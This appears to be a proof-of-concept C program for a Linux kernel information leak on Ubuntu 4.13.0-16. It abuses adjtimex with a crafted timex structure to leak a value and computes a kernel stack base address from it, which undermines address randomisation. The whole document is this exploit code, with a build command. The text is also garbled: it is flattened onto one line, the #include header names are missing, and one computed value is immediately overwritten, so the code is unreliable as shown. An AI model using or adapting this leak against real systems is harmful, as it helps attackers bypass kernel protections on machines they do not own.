#define _GNU_SOURCE #define _BSD_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Ubuntu 4.13.0-16-generic // gcc -o poc poc.c -m32 struct timex time; int main(int argc, char **argv) { int r; unsigned long long stack_offset, kernel_base; unsigned int leak_value; unsigned int high = 0xffffffff; memset(&time, 0, sizeof(time)); time.modes = 0x8000; mmap(0,0xa000,3,2022,-1,0); adjtimex(&time); leak_value = time.tai; printf("--> leak_value : %x\n", leak_value); memcpy(&kernel_base, &leak_value, 4); memcpy((char *)&kernel_base + 4, &high, 4); stack_offset = 0x1fc4a4; kernel_base = leak_value - stack_offset; printf("--> kernel_stack_base : %llx\n", kernel_base); return 0; }